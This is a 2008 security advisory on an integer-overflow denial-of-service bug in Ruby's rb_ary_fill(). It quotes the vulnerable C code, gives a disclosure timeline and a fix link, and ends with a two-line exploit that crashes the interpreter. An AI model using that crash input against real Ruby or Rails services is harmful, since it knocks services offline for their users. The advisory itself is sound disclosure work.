Vuln name: Ruby rb_ary_fill() DOS

The advisory could be found here: http://securenetwork.it/ricerca/advisory/download/SN-2008-02.txt

Secure Network - Security Research Advisory

Vuln name: Ruby rb_ary_fill() DOS
Systems affected: ruby 1.8.x, 1.9.x
Systems not affected: -
Severity: Medium
Local/Remote: Local/Remote
Vendor URL: http://www.ruby-lang.org/
Author(s): Vincenzo "snagg" Iozzo - [email protected]
Vendor disclosure: 23rd June 2008
Vendor acknowledged: 25th June 2008
Vendor patch release: 25th June 2008
Public disclosure: 30th June 2008
Advisory number: SN-2008-02
Advisory URL: http://www.securenetwork.it/advisories/

*** SUMMARY***

Ruby is an interpreted language, used in a wide range of applications.
The specific issue is a Denial of Services vulnerability, caused by an integer overflow. However it doesn't allow
arbitrary code execution.
On Ruby on Rails, an attacker may craft specific requests and by XSS (for example) can cause a legitimate user to
crash the web server.

*** VULNERABILITY DETAILS***

Integer overflow (Dos).
The vulnerability was found in rb_ary_fill().

Looking inside the application source code:

CUT HERE

rb_ary_modify(ary);
end = beg + len;
if (end < 0) {
rb_raise(rb_eArgError, "argument too big");
}
if (end > RARRAY(ary)->len) {
if (end >= RARRAY(ary)->aux.capa) {
REALLOC_N(RARRAY(ary)->ptr, VALUE, end);
RARRAY(ary)->aux.capa = end;
}

CUT HERE

The len value is incremented by one in a previous function and it is specified by the user. The lack of sanity check
on the input, leads to an integer overflow here:

CUT HERE

REALLOC_N(RARRAY(ary)->ptr, VALUE, end);

CUT HERE

This macro, in fact, will allocate end * VALUE. On 32bit architectures VALUE is 4. If an attacker specifies a value
of 0x3fffffff, this macro will allocate a memory region of 0, so that next time ary->ptr is accessed, it will raise a
SIGSEGV.(NULL referencing)

*** EXPLOIT***
a = []
a.fill("A",0…0x3fffffff)

*** FIX INFORMATION***

http://svn.ruby-lang.org/cgi-bin/viewvc.cgi/trunk/array.c?view=markup

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